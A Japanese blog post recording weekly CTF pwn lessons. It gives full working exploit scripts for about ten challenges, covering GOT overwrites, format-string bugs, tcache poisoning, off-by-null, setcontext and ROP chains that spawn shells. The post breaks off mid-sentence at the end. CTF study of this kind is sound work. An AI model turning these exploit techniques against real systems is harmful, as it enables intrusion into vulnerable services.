ちょっとどいういう経緯か憶えてないのですが最近ptr-yudaiにpwnを教えてもらうyoshi-pwnというのをやっています(yoshiking関係ないけど)。週1で通話しながら問題の解き方を教えてもらう感じで。せっかくなのでどんな問題をやったかというのを残しておきます。少しずつ書いているので常体敬体が入り混じって気持ち悪い文章になっています。また、文章の都合上私が自分で考えてexploitを書いているように表現されていますが、基本的にptr-yudaiに方針を教えてもらいながら書いています。
- SECCON 2019 - Sum
- StarCTF 2019 - quicksort
- SuSeC CTF 2020 | Unary
- Fireshell CTF 2020 - FireHTTPD
- nitac mini ctf 2020 | babynote
- nitac mini CTF 2020 - ezstack
- InCTF 2019 - Schmaltz
- ISITDTU - iz_heap_lv2
- CSAW CTF 2019 Quals - popping caps 1
- CSAW CTF 2019 Quals - popping caps 2
- SECCON 2019 Online - one
SECCON 2019 - Sum
だいたいこんな感じ
void setup() __attribute__((constructor)) { setvbuf(stdout, 0); setvbuf(stdin, 0); alarm(hoge); } void read_ints(int*xs, int n) { for (int i = 0; i <= n; i++) { xs[i] = read_int(); } } int sum(int* xs, int *ptr) { int i = 0; for (i = 0; xs[i] != 0; i++) { *ptr += xs[i]; } return i; } int main() { long xs[5]; long ptr; long target; target = 0; ptr = ⌖ read_ints(xs, 5); if (sum(xs, ptr) > 5) { exit(-1); } printf("%lld\n", target); return 0; }
値を5つ入力して和を計算してくれるが条件式をバグらせてて6個入力できてしまい、6個目の入力が和を代入するポインタを上書きするので実質好きなアドレスに好きな値を書き込むことができる。(アドレスaに値xを書き込むとして、 1, 1, 1, 1, x - a - 4, a
みたいな入力を作れば良い)
この状態でどうにかしてlibc_baseをとりシェルを取る。想定解法(?)ではなんかROPができることを利用するらしいが気が付きようがないので次のようにやった。
exit@got
をsetup
に向ける。すると何度も繰り返して任意アドレスに値を書き込めるようになるsetvbuf@got
をputs@plt
に向ける- bssセクションにstdout, stdinへのポインタがおいてあるので、stdoutをstdin (.bss) に向ける。これで次の実行時に
setvbuf(stdout, 0, 0)
がputs(&stdin)
になるので libc baseが取れる exit@got
などを上書きして One Gadget を発火させる
いやすげー
from ptrlib import * import sys elf = ELF("./sum") if len(sys.argv) <= 1: sock = Process("./sum") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") else: libc = ELF("./libc.so") def query(addr, value): sock.recvuntil("4 0\n") payload = [] payload.append(str(1)) payload.append(str(1)) payload.append(str(1)) payload.append(str(1)) payload.append(str(value - addr - 4)) payload.append(str(addr)) print("[+] debug {}".format(payload)) print("[+] addr: {:x}, value: {:x}".format(addr, value)) sock.sendline(" ".join(payload)) ONESHOT_OFFSET = 0x10a38c print(libc.symbol("_IO_2_1_stdin_")) query(elf.got("exit"), elf.symbol("_start")) query(elf.got("setvbuf"), elf.plt("puts")) query(0x601060, 0x601071) # stdout = &stdin (.bss) stdin = u64(sock.recvline()) << 8 _ = u64(sock.recvline()) libc_base = stdin - libc.symbol("_IO_2_1_stdin_") print("[+] libc_base: 0x{:08x}".format(libc_base)) query(elf.got("exit"), libc_base + ONESHOT_OFFSET) sock.interactive()
StarCTF 2019 - quicksort
32bit のバイナリでセキュリティ機構としてはNX bitとStack Canaryだけが有効。なんだか簡単そうですね。大体以下のようなプログラムで、問題名の示すとおり、sortではquicksortが実装されていそうです。
int main() { char buf[16]; int *xs; int n; scanf("%d", &n); xs = malloc(sizeof(int) * n); for (int i = 0; i < n; i++) { gets(buf); xs[i] = atoi(buf); } sort(xs, n); for (int i = 0; i < n; i++) { printf("%d ", xs[i]); } free(xs); }
gets
関数を使っているので自明にBuffer Overflowがあります。今回はスタック上のxs
の値を書き換えることにします。すると xs[i] = atoi(buf)
が実質任意のアドレスへの任意の値の書き込みになることがわかります。GOT Overwriteをつかって atoi@got <- printf@plt
となるように書き換えてやると、今度は printf(buf)
が実行されることになってFomat String Bugが引き起こせそうです。
Format String Bugが使えると、スタックの値を自由に読み出せるので、main関数の戻りアドレスである __libc_start_main + 241
のアドレスを読むことによってlibc_baseが求まります。あとは atoi@got
を system@libc
などに変更できれば勝ちです。
しかしこれが意外と難しく、 xs
を壊さないようにとなるとFSBで使える文字数が15文字までに制限されてしまい 、一度の入力では4バイト全てを書き換えることは不可能です。そこで、次のような方針を取ることにしました。
- FSBで
setbuf@got
を1バイトずつ書き換えて、これをsystem@libc
に向けます - FSBで
atoi@got
を1バイトだけ書き換えて、printf@plt
に向いていたものをsetbuf@plt
に書き換えます - この状態で
atoi
を呼び出すと、最終的にsystem@libc
の呼び出しになるので、/bin/sh
などを実行してシェルを取ります
ここで setbuf
が急にでてきましたが、バイナリ中で呼び出されていて、ループ中に呼ばれておらず、printf@plt
と setbuf@plt
が1バイトだけ異なるので一度のFSBで書き換えられる、という理由によるものです。この条件を満たしていないと書き換えの途中で壊れたアドレスにジャンプしてエラーになってしまいます。
というわけでexploitです。 ptrlibのfsb関数は(この時点では)1バイトずつの書き換えに対応していなかったので自分でformat stringを構築しました(この問題を解いているときにこの問題が発覚し、現在では修正されています)。
from ptrlib import * sock = Process("./quicksort") elf = ELF("./quicksort") libc = ELF("/lib/i386-linux-gnu/libc.so.6") sock.recvline() # atoi@got <- printf@plt payload = b"A" * (0x2c - 0x1c) + p32(100) + p32(0) + p32(0xdeadbeef) + p32(elf.got("atoi") - 4) sock.sendline("100") sock.sendlineafter(":", payload) sock.sendlineafter(":", str(elf.plt("printf"))) # get libc base by FSB sock.sendlineafter(":", "%{}$p<>".format(0x17)) libc_start_main_addr = int(sock.recvuntil("<>")[:-2], 16) libc_base = libc_start_main_addr - 241 - libc.symbol("__libc_start_main") system_addr = libc.symbol("system") + libc_base print("[+] libc_base: {:0x}".format(libc_base)) print("[+] setbuf: {:0x}".format(elf.got("setbuf"))) print("[+] system_addr: {:0x}".format(system_addr)) for i in range(4): addr = p32(elf.got("setbuf") + i) value = (system_addr >> (8 * i)) & 0xff value = (value - len(addr) - 1) % 0x100 + 1 payload = addr payload += str2bytes("%{value}c%{index}$hhn".format( addr=addr, value=value, index=7 )) sock.sendlineafter(":", payload) addr = p32(elf.got("atoi")) value = elf.plt("setbuf") & 0xff value = value - len(addr) payload = addr payload += str2bytes("%{value}c%{index}$hhn".format( addr=addr, value=value, index=7 )) sock.sendlineafter(":", payload) sock.sendlineafter(":", "/bin/sh") sock.interactive()
GOT Overwriteで直接 system
などを呼び出すのではなく、エントリを printf
の呼び出しに書き換えてFSBを引き起こすテクをはじめて知りました。面白いですね
SuSeC CTF 2020 | Unary
何気にptr-yudai作問の問題(だったはず)。 64bitバイナリで、Stack Canaryが存在しません。これはコンパイルオプションで抑制したのではなく、ソースコード内にオーバーフローが存在しなさそうだとコンパイラが判断した結果のようです。
この問題はインクリメント ++
やビット反転 ~
などの関数をインデックスを指定して呼び出すのですが、この呼び出しが call [inc + input*8]
のように呼び出されているうえ入力にチェックが含まれていないので、不正なインデックスを指定することでgotにエントリが存在する関数を呼び出すことが出来ます。これで puts@got(puts@got)
などをしてlibc_baseが得られ、続いて scanf@got("%s")
を呼び出して(ここで %s
はelfの中から探してきてアドレスを入力として指定します)Buffer Overflowを起こすと、Stack Canaryが存在しないのでそのままRIPが得られ、one gadgetなどに飛ばして勝ちです。
from ptrlib import * sock = Process("./unary") elf = ELF("./unary") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") ELF_BASE = 0x400000 ope = 0x600e00 # elf.symbol("inc") def call(addr, arg): sock.sendlineafter("Operator: ", str((addr - ope) // 8 + 1)) sock.sendlineafter("x = ", str(arg)) call(elf.got("puts"), elf.got("puts")) puts_addr = u64(sock.recvline()) libc_base = puts_addr - libc.symbol("puts") print("[+] libc_base: {:0x}".format(libc_base)) one_gadget = 0x10a38c + libc_base payload = b"A" * (0x2C) + p64(one_gadget) ps_addr = ELF_BASE + next(elf.find("%s")) call(elf.got("__isoc99_scanf"), ps_addr) sock.sendline(payload) sock.sendlineafter("Operator: ", "0") # EXIT sock.interactive()
易しい問題でしたね(自力では解けてないが)
Fireshell CTF 2020 - FireHTTPD
64bitバイナリ。Full RELROでPIE enabledです。中身は簡易HTTPサーバですが、refererの処理がバグっていてFSBが可能です。
if ( !strncmp(&s1, "Referer: ", 9uLL) ) sprintf(s, &s1);
いつものように __libc_start_main
のアドレスをスタック上から探してlibc_baseを入手します(途中の関数のバッファが結構大きいので遠くまでスタックを掘りに行く必要があります。また、64bitバイナリでは最初の5引数はレジスタ経由で渡されるので、スタックの先頭は %6$p
になることに注意します(1敗))。
これができたら、同様にFSBを用いて、次はStack Canaryを取得、そしてスタックにROPコードを書き込みます。ここで単に /bin/sh
を起動するだけでは、サーバ側でシェルが起動するのみで、socketを経由してこちら側から操作をすることが出来ないので、socketに該当するFDのガチャをやって dup2
で stdin / stdoutをsocketに向けておきます。
また、ROPの先頭に ret gadgetを挟んでstackがいい感じになるようにしています(movapsによるエラー回避)。
from ptrlib import * libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") sock = Socket("localhost", 1337) sock.sendline("GET /") sock.sendline("Referer: %560$p %562$p") sock.sendline("") sock.recvuntil("Referer: ") stack_canary = int(sock.recvuntil(" ")[:-1], 16) p = int(sock.recvline(),16) libc_base = p - libc.symbol("__libc_start_main") - 231 print("[+] stack canary: 0x{:08x}".format(stack_canary)) print("[+] libc_base: 0x{:08x}".format(libc_base)) FD = 4 ROP = [ libc_base + 0x00000000000008aa, # ret (omaginai) libc_base + 0x000000000002155f, # pop rdi FD, libc_base + 0x0000000000023e6a, # pop rsi 0, libc_base + libc.symbol("dup2"), libc_base + 0x000000000002155f, # pop rdi FD, libc_base + 0x0000000000023e6a, # pop rsi 1, libc_base + libc.symbol("dup2"), libc_base + 0x000000000002155f, # pop rdi libc_base + next(libc.find("/bin/sh")), # "/bin/sh" libc_base + libc.symbol("system") # "/bin/sh" ] payload = str2bytes("%{}c".format(0x410 - 8 - 8 - 1)) payload += p64(stack_canary) payload += p64(0xdeadbeefcafebabe) for r in ROP: payload += p64(r) payload = payload.replace(b"\x00", str2bytes("%{}$c".format(560))) print(repr(payload)) sock.close() input("PAUSE") sock = Socket("localhost", 1337) sock.sendline("GET /") sock.sendline(b"Referer: " + payload) sock.sendline("") sock.interactive()
writeupを書くとFSBやるだけっぽく感じるけど解いてるときはいろいろ難しいんですよね。
nitac mini ctf 2020 | babynote
ptr-yudai作問。64bitのnote系バイナリでFullRELO/PIE enabledですが、libc_baseが与えられています。また、noteを作るときのread_line
に自明なバッファオーバーフローがあります。これを使うと、次のようにtcache_entryのnextを自由にできそうです。
| note 1 | | note 2 |
| free | | note 2 |
| free | | free |
| note 3 | | free | <- note3への書き込みをオーバーフローさせて tcache_entryのnextを破壊する
これで __free_hook
を allocateすれば勝ちですね。
from ptrlib import * sock = Process("./babynote") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") stdin_addr = int(sock.recvline().split(b": ")[1], 16) libc_base = stdin_addr - libc.symbol("_IO_2_1_stdin_") print("[+] libc_base: {:0x}".format(libc_base)) def create(contents): sock.sendlineafter("> ", "1") sock.sendlineafter("Contents: ", contents) def show(idx): sock.sendlineafter("> ", "3") sock.sendlineafter("Index: ", str(idx)) return sock.recvline() def delete(idx): sock.sendlineafter("> ", "3") sock.sendlineafter("Index: ", str(idx)) free_hook_addr = p64(libc_base + libc.symbol("__free_hook")) assert free_hook_addr.find(b"\n") == -1 system_addr = p64(libc_base + libc.symbol("system")) assert system_addr.find(b"\n") == -1 create("hoge") #idx: 0 create("piyo") #idx: 1 delete(1) input("[+] PAUSE: free 1") delete(0) create(b"A"*0xa0 + free_hook_addr) # overwrite tcache_entry.next input("[+] PAUSE: overwrite_tcache_entry") create("/bin/sh") #idx: 1 input("[+] PAUSE: next is __free_hook") create(system_addr) # __free_hook = system delete(1) # free(noteList[1]) == system(noteList[1]) sock.interactive()
自力AC! 天才ですか? いいえ
nitac mini CTF 2020 - ezstack
これもptr-yudai作問。サイズ制限のあるスタックに文字列をpushしたりpopしたりできる。pop時のサイズに負値を指定できて、それをやるとスタックポインタをずらすことができる。また、pop時にはスタックの末尾にNULLが書き込まれる(off-by-null)。
これができると何が嬉しいかと言うと、 saved_rbpの末尾1バイトを0埋めできる。これでsaved_rbpを破壊した後、 leave; ret;
が行われると、破壊されたsaved_rbpがrspになり、その状態でのret
ではrspが本来よりも少し巻き戻った位置にある。これで(運が良ければ)RIPをうばうことができるので嬉しい。ptr-yudaiによるとこれはpwnerはみんな知ってるけど何故か文章としてはまとめられてないテクらしい。
from ptrlib import * sock = Process("./ezstack") elf = ELF("./ezstack") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") def push(payload): sock.sendlineafter("> ", "1") sock.sendafter("data: ", payload) def pop(size): sock.sendlineafter("> ", "2") sock.sendlineafter("size: ", str(size)) return sock.recvline() line = u64(pop(-(0x130))[4:]) libc_base = line - (libc.symbol("__libc_start_main") + 231) print("[+] libc_base: {:x}".format(libc_base)) retgadget = p64(0x00000000000008aa + libc_base) onegadget = p64(0x4f322 + libc_base) # 0x10a38c rop = retgadget * ((0x100 - 0x50) // 8) + onegadget rop += b"\0" * (0x100 - len(rop)) print(hex(len(rop))) pop(0x130) push(rop) pop(-8) sock.interactive()
へーーーー
InCTF 2019 - Schmaltz
64bitのNote系アプリでインデックスの使い方がイカレてる。きらい。add/view/deleteができ、自明double freeと、off-by-nullがある。libc 2.28。
libc 2.28から(だと思う。たぶん*1)は、tcache_entry
構造体に key
というフィールドが追加されていて、エントリがtcacheに繋げられたときにkeyはtcacheのアドレスを指す。これはdouble freeの検出のために用いられていて、freeされるchunkのkey
に該当する部分がもしtcacheのアドレスになっていたら、 tcache->entries[tc_idx]
を全部見て、同じアドレスが既に存在しないかを確かめる *2 。これにより libc2.27 よりは少しだけdouble freeが難しくなっている。
今回はこのチェックをoff-by-nullで回避する。アイデアは次の通り。
+---------------+ | chunk1 | +---------------+ | large(>0x100)| | size chunk | +---------------+
+---------------+ | free | +---------------+ | free | | | +---------------+
+---------------+ | chunk1 | +---------------+ <- ここで off-by-null を使って | | chunk sizeを 0x100 にむりやり書き換える | | +---------------+
(malloc_chunk
構造体はmchunk_prev_size
, mchunk_size
の順で並んでいるので1バイトの上書きでは mchunk_prev_size
の末尾しか書き換えられないと思うかも知れないが、サイズが末尾が1〜8までの大きさのchunkを確保しようとする時、次のchunkの mchunk_prev_sizeと領域を共有してmallocされる)。
これで、 large size chunkを double freeしたときに key = tcacheになっているのでチェックが入るが、 malloc_chunk
構造体の mchunk_size
が書き換えれて、異なるtc_idx
が選ばれるため、エラーにはならない。
この方針まで辿り着けば、全体の方針が立つ。
- double-freeをやって、
struct note notes[7]
のような構造が bss セクションにあるので、ここを malloc してputs@got
を書き込み、 fake chunk 2つ(A、Bとする。Aのほうが手前にあって大きい、AがBを内包する)を用意しておく - viewで
puts@got
がアドレスになっているので libc_base が取れる - fake chunkをそれぞれfreeする
- fake chunk Aをmallocして、freeされているfake chunk Bのnextを
__free_hook
に向ける。また bssのあいている領域に 偽の ucontext_t構造体を書き込む - fake chunk Bをmallocして、
note[x].buf
が偽のucontext_t
構造体を指すようにする - 適当にmallocして、
__free_hook
をsetcontext
に向ける note[x]
を freeすると、setcontext
が呼び出されて勝利
struct note { char *buf; int size; int use_flag; }
急にfake chunkとかsetcontextとかが出てわけのわからないことになっている。基本的にはdouble freeで__free_hook
をnextにしてそこにsystem
を書き込めばよかったはずなのだが、この問題はバイナリを LD_LIBRARY_PATH=$(pwd) ./ld-2.28.so ./schmaltz
という具合にむりやり呼び出していて、system
関数は環境変数を引き継いでしまうのだが、その結果 ld-2.27
がLD_LIBRARY_PATH
の指定の通りlibc2.28を読んでしまい、/bin/sh
の起動に失敗する。(は? ゴミ)
そこで今回は execve("/bin/sh", NULL, NULL)
を呼び出すことにしたのだが、そこでこのような手法を用いた。 setcontext
は引数に ucontext_t
構造体を指定して、その構造体に保存されていたレジスタを復元するというもので、レジスタを任意に指定できるので、これでsyscall
の引数をいい感じにして execve
の呼び出し手前に飛ばしている。そしてこれを実現するために、アドレスがわかっていて、書き込みできる領域を作る必要が生まれた。そこでfake chunkを作成してtcacheにbss上のアドレスを追加している。
from ptrlib import * import os sock = Process(["./ld-2.28.so", "./schmaltz"], env={ "LD_LIBRARY_PATH": os.getcwd() }) elf = ELF("./schmaltz") libc = ELF("./libc.so.6") note_table = 0x602060 def add(size, content): sock.sendlineafter("> ", "1") sock.sendlineafter("> ", str(size)) sock.sendlineafter("> ", content) def view(index): sock.sendlineafter("> ", "3") sock.sendlineafter("> ", str(index)) sock.recvuntil(": ") size = sock.recvline() sock.recvuntil(": ") content = sock.recvline() return (size, content) def remove(index): sock.sendlineafter("> ", "4") sock.sendlineafter("> ", str(index)) add(0x37, "hello") # 0 add(0x1e8, "size 1e8 man") # 1 add(0x20, "gomi") # 2 add(0x20, "gomi2") # 3 remove(0) remove(1) add(0x38, "off by null here") # 2 remove(1) add(0xf8, p64(note_table)) # 2 add(0x1e8, "hello world") # 3 payload = p64(elf.got("puts")) + p32(0x1e8) + p32(1) # note_table[0].buf = puts@got; note_table[0].size = 0x1e8; note_table[0].flag = 1 payload += p64(0xCAFEBABE) + p64(0x1e1) # FAKE CHUNK overlap (chunk header) payload += p64(note_table + 32) + p32(0x20) + p32(1) # note_table[2].buf = ¬e_table[2].buf(to free FAKECHUNK) payload += p64(0xDEADBEEF) + p64(0x20) # FAKE CHUNK 2(chunk header) payload += p64(note_table + 64) + p32(0x20) + p32(1) # note_table[4].buf = ¬e_table[4].buf(to free FAKECHUNK) add(0x1e8, payload) # 4 <-- note_table _, puts_got = view(0) libc_base = u64(puts_got) - libc.symbol("puts") print("[+] libc_base: {:0x}".format(libc_base)) remove(4) # free FAKE CHUNK 2 remove(2) # free FAKE CHUNK 1 payload2 = b"A" * 32 + p64(libc_base + libc.symbol("__free_hook")) # fill note_table[2], note_table[3], overwrite tcache_entry->next payload2 += b"\1" * (16 * 2 + 8) payload2 += p32(3) + p32(0) # note_ctr # ucontext_t payload2 += p64(0) + p64(0) # rdx + 0x20 --> XXX, r8 payload2 += p64(0) + p64(0) # rdx + 0x30 --> r9 , XXX payload2 += p64(0) + p64(0) # rdx + 0x40 --> XXX, r12 payload2 += p64(0) + p64(0) # rdx + 0x50 --> r13, r14 payload2 += p64(0) + p64(libc_base + next(libc.find("/bin/sh"))) # rdx + 0x60 --> r15, rdi payload2 += p64(0) + p64(0) # rdx + 0x70 --> rsi, rbp payload2 += p64(0) + p64(0) # rdx + 0x80 --> rbx, rdx payload2 += p64(0) + p64(0) # rdx + 0x90 --> XXX, rcx payload2 += p64(note_table) + p64(libc_base + libc.symbol("execve")) # rdx + 0xa0 --> rsp, rip payload2 += p64(0) + p64(0) # rdx + 0xb0 payload2 += p64(0) + p64(0) # rdx + 0xc0 payload2 += p64(0) + p64(0) # rdx + 0xd0 payload2 += p64(note_table) + p64(0) # rdx + 0xe0 add(0x1d8, payload2) # 3: malloc FAKE CHUNK 1 add(0x18, p64(0x6020d0 + 8 - 0x20)) # 4: malloc FAKE CHUNK2 (tcache->__free_hook) add(0x18, p64(libc_base + libc.symbol("setcontext"))) # 5: malloc __free_hook input("[+] pause") print(view(4)) remove(4) sock.interactive()
バイナリのゴミさと動かし方のゴミさが相まって、とてもわかりにくいexploitがうまれた。このwriteupを書くために解読し直すのにもかなり苦労した。
ISITDTU - iz_heap_lv2
add/edit/delete/show ができる note系。off-by-nullがある。自明double freeはない。 libc2.27想定と libc2.23想定で解いた
libc 2.27
本来PIE無効だが、PIE有効の体で解いた。PIE無効だとどこが変わったんだろう。わからない
tcacheに収まらないサイズ(binsに回されるサイズ)での consolidate(領域をfreeしたときに、既にfreeされている領域と隣接していれば併合する動き)を利用する。次のようにchunkを用意して、chunk 1をfreeしたあと、chunk2をeditしてoff-by-nullでchunk3の mchunk_size
の末尾をNULLにして、 prev_in_use
bitを寝かせることで、mallocからは chunk1, chunk2がfreeされているとみなされ、 chunk3をfreeしたときに 一つの大きな領域として binsに繋がれる(chunk1/chunk3が0x4f8というサイズで確保されているのは、tcacheに収まらない程度に大きく、 mchunk_size
が0x501となって off-by-nullしたときにサイズ自体が変わらなくて都合が良いから。chunk2が0x68なのは何でも良いんだけどあとで意味があったりする)。
+---------+ | chunk 1 | | 0x4f8 | | | +---------+ | chunk 2 | | 0x68 | +---------+ | chunk 3 | | 0x4f8 | | | +---------+
この状態で、0x4f0のchunkを作ると、binsから必要分が供給されてちょうどchunk2の先頭部分がbinsと繋がれる。chunk2はまだアプリケーション的には確保している状態なのでshowができて、ここからlibcのアドレスが手に入る。
また、この状態でさらに0x68程度をmallocすると chunk2にoverlapする形で領域が取られるので、あとはdouble freeでtcache_entry->nextを書き換えて、 __free_hook
からの system
で勝利できる
from ptrlib import * sock = Process("./iz_heap_lv2") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") def Add(size, data): sock.sendlineafter("Choice: \n", "1") sock.sendlineafter("size: ", str(size)) sock.sendafter("data: ", data) def Edit(index, data): sock.sendlineafter("Choice: \n", "2") sock.sendlineafter("index: ", str(index)) sock.sendafter("data: ", data) def Delete(index): sock.sendlineafter("Choice: \n", "3") sock.sendlineafter("index: ", str(index)) def Show(index): sock.sendlineafter("Choice: \n", "4") sock.sendlineafter("index: ", str(index)) sock.recvuntil("Data: ") return sock.recvline() Add(0x4f8, b"A"*0x4f8) # index: 0 Add(0x68 , b"B"*0x68) # index: 1 Add(0x4f8, b"C"*0x4f8) # index: 2 Add(0x10, b"D"*0x10) # index: 3 to avoid consolidate when free C Delete(0) payload = b"B" * 0x68 # off-by-null de C no prev_in_use bit wo nekaseru payload = payload[:-8] + p64(0x500 + 0x70) # padding + prev_size + overwrite null assert len(payload) == 0x68 Edit(1, payload) Delete(2) # free buf 2, then consolidate through from buf 0 to buf 2 Add(0x4f6, b"E" * 0x4f0) # index: 0 !!!! DO NOT OVEWRITE size of next chunk by off-by-null !!!! bins_addr = Show(1) libc_base = u64(bins_addr) - libc.main_arena() - 0x60 print("libc_base: {:0x}".format(libc_base)) Add(0x68, b"F" * 0x68) # index: 2, overlapped index 1 Delete(2) Edit(1, p64(libc_base + libc.symbol("__free_hook"))) # edit buf 1 to modify fd Add(0x68, b"/bin/sh") # index: 2 Add(0x68, p64(libc_base + libc.symbol("system"))) # index:4, free_hook -> system Delete(2) sock.interactive()
libc2.23
libc2.23でも基本的な方針は同じだが、最後に使うのがtcacheではなくfastbinになる点で異なる。fastbinではmalloc時にmchunk_sizeをみて正しいかどうかチェックする処理が入っている。__free_hook
の周辺は基本的に0ばかりなのでこのチェックを通過できない。そこで今回は __malloc_hook
を使う。 __malloc_hook-0x23
の位置をfastbinにつなぐようにすると、 そのchunkのmchunk_sizeが 0x7f になる(7f...
ではじまる libcのアドレスが存在しているので)。これがうまくsize checkを回避してくれるので、 __malloc_hook
をallocateしてsystem
などにつなげることができる(さっきchunk 2が0x68だったのはここで都合が良いから)。
というわけであとは malloc
の引数に/bin/sh
を渡せば良い。この解法はPIE有効だと /bin/sh
のアドレスが32bitに収まらなくてうまくいかなかったので、libc2.23ではPIE無効時のみ有効なexploitになった。
from ptrlib import * sock = Socket("localhost", 9999) libc = ELF("./libc-2.23.so") def Add(size, data): sock.sendlineafter("Choice: \n", "1") sock.sendlineafter("size: ", str(size)) sock.sendafter("data: ", data) def Edit(index, data): sock.sendlineafter("Choice: \n", "2") sock.sendlineafter("index: ", str(index)) sock.sendafter("data: ", data) def Delete(index): sock.sendlineafter("Choice: \n", "3") sock.sendlineafter("index: ", str(index)) def Show(index): sock.sendlineafter("Choice: \n", "4") sock.sendlineafter("index: ", str(index)) sock.recvuntil("Data: ") return sock.recvline() Add(0x4f8, b"A"*0x4f8) # index: 0 Add(0x68 , b"B"*0x68) # index: 1 Add(0x4f8, b"C"*0x4f8) # index: 2 Add(0x10, b"D"*0x10) # index: 3 to avoid consolidate when free C Delete(0) payload = b"B" * 0x68 # off-by-null de C no prev_in_use bit wo nekaseru payload = payload[:-8] + p64(0x500 + 0x70) # padding + prev_size + overwrite null assert len(payload) == 0x68 Edit(1, payload) Delete(2) # free buf 2, then consolidate through from buf 0 to buf 2 Add(0x4f6, b"E" * 0x4f0) # index: 0 !!!! DO NOT OVEWRITE size of next chunk by off-by-null !!!! bins_addr = Show(1) libc_base = u64(bins_addr) - libc.main_arena() - 0x60 + 8 print("libc_base: {:0x}".format(libc_base)) Add(0x68, b"F" * 0x68) # index: 2, overlapped index 1 Add(0x68, b"G"*8 + b"/bin/sh") # index: 4 Delete(4) Delete(2) buffer_address = u64(Show(1)) print("bufaddr: 0x{:0x}".format(buffer_address)) Edit(1, p64(libc_base + libc.symbol("__malloc_hook") - 0x23)) # edit buf 1 to modify fd Add(0x68, b"mogumogu") # index: 2 # print("0x{:0x}".format(libc_base + 0xf1147)) # Add(0x68, b"X"*0x13 + p64(libc_base + 0xf1147)) # index:4, __malloc_hook -> one_gadget (0xf1147) Add(0x68, b"X"*0x13 + p64(libc_base + libc.symbol("system"))) # index:4, __malloc_hook -> one_gadget (0xf1147) sock.sendlineafter("Choice: \n", "1") sock.sendlineafter("size: ", str(buffer_address + 0x10 + 0x8 )) sock.interactive()
CSAW CTF 2019 Quals - popping caps 1
次のようなアプリケーション(かなり意訳)
int main() { int buf, ptr; for (int i = 0; i < 7; i++) { int choice = menu(); if (choice == 1) { buf = ptr = malloc(read_long()); } else if (choice == 2) { free(ptr + read_long()); buf = 0; } else if (choise == 3) { read(0, buf, 8); } else { break } } malloc(0x38); _exit(); }
7回の操作で __malloc_hook
を one gadget に向けられたら最後の malloc でシェルが取れる。libc2.27なので単にdouble freeを用いたtcache poinsoningで良さそうなものだが、それだと7回に収まらないので、どうにかして直接 tcache->__malloc_hook
を実現したい。これをやるために、tcache_perthread_struct
を malloc してきてその entries[i]
に直接書き込むことを考える。実は tcache_perthread_struct
は最初のmalloc時にheapの先頭に確保され、そのサイズは(chunk headerを含めて)0x250である。今回はfreeする際にポインタからのオフセットを指定できるので、これを用いれば tcache_perthread_struct
に該当する領域をfreeすることは難しくはなさそう。ヒープは次のような状態になるので、offsetに-0x260程度を指定すれば良い。
| tcache_perthread_struct | <- heap header | ...................... | | | <- heap head + 0x250 | prev_size | size | <- chunk header for chunk1 | | <- chunk1 addr
(今回はstdout/stderr/stdinのバッファリングが無効化されているが、バッファリングが行われているときは間にそれぞれのバッファが挟まるのでその分だけオフセットはずれることになる)。
あとは指定したアドレスをfake chunkとして見たときに mchunk_size
が適切になっていれば、tcacheにtcache_perthread_struct
をつなげることができる。 tcache_perthread_struct
の定義は次のようになっている。
typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;
これはメモリ上では次のように示される。1バイトのカウンタが64個と、8バイトのポインタが64個並ぶ。
counts[64] | 0000000000000000 0000000000000000 | | 0000000000000000 0000000000000000 | entries[64] | 0000000000000000 0000000000000000 | | 0000000000000000 0000000000000000 | | ... | | |
これを見ると、 counts
の適当な位置を操作すると、 malloc_chunk
の mchunk_size
として扱えそうに見えてくる。具体的にはこのようにしたい。
counts[64] | 0000000000000000 0000000000000000 | | 0000000000000000 0000000000000100 | entries[64] | 0000000000000000 0000000000000000 | <-このアドレスを指定して free する | 0000000000000000 0000000000000000 | | ... | | |
つまり、 サイズ 0x3b0 程度の chunkを 1度 freeしておけば、 tcache_perthread_struct->entries
に相当する領域を サイズ 0x100 の chunk として tcache に追加できる。あとはこの chunk を適当に malloc して、 tcache_perthread_struct->entres[0] = __malloc_hook
を書き込めば、 サイズ 0x20
までの小さな chunk の malloc で __malloc_hook
が割り当てられるので、そこに one gadgetを書き込む。
from ptrlib import * sock = Process("./popping_caps") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") system_addr = int(sock.recvlineafter("0x"), 16) libc_base = system_addr - libc.symbol("system") def malloc(size): sock.sendlineafter("choice: ", "1") sock.sendlineafter("How many: ", str(size)) def free(distance): sock.sendlineafter("choice: ", "2") sock.sendlineafter("free: ", str(distance)) def write(content): sock.sendlineafter("choice: ", "3") sock.sendafter("me in: ", content) malloc(0x3a8) free(0) free(-0x260 + 0x50) malloc(0xf8) write( p64( libc.symbol("__malloc_hook") + libc_base) ) malloc(0x18) write( p64( 0x10a38c + libc_base) ) sock.interactive()
CSAW CTF 2019 Quals - popping caps 2
popping caps 1と似た問題だが、最後の malloc がなくなった点と、 writeで0xffバイトまで書き込めるようになった点で異なっている。
こちらの方が簡単で、より量を書き込めるので本物の tcache_perthread_struct
chunkを指定して freeしてしまって、0x250程度のchunkを確保して、 tcache->entries[0]
に当たる位置に __free_hook_
でも __malloc_hook
でも好きに書き込んで system("/bin/sh")
を呼べる。
from ptrlib import * sock = Process("./popping_caps") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") system_addr = int(sock.recvlineafter("0x"), 16) libc_base = system_addr - libc.symbol("system") def malloc(size): sock.sendlineafter("choice: ", "1") sock.sendlineafter("How many: ", str(size)) def free(distance): sock.sendlineafter("choice: ", "2") sock.sendlineafter("free: ", str(distance)) def write(content): sock.sendlineafter("choice: ", "3") sock.sendafter("me in: ", content) malloc(100) free(-0x260 + 0x10) malloc(0x248) # write(b"\xff" * 64 + p64(libc_base + libc.symbol("__free_hook"))) # malloc(0x18) # write(p64(libc_base + libc.symbol("system")) + b"/bin/sh\0\0\0\0\0\0") # free(8) write(b"\xff" * 64 + p64(libc_base + libc.symbol("__malloc_hook"))) malloc(0x18) write(p64(libc_base + libc.symbol("system"))) malloc(str(libc_base + next(libc.find("/bin/sh")))) sock.interactive()
これだけではあんまりなので、 __rtld_lock_lock_recursive
を使った解法もやってみる。プロセスの終了時に(exit_handlerで) ld.so の中の _dl_fini
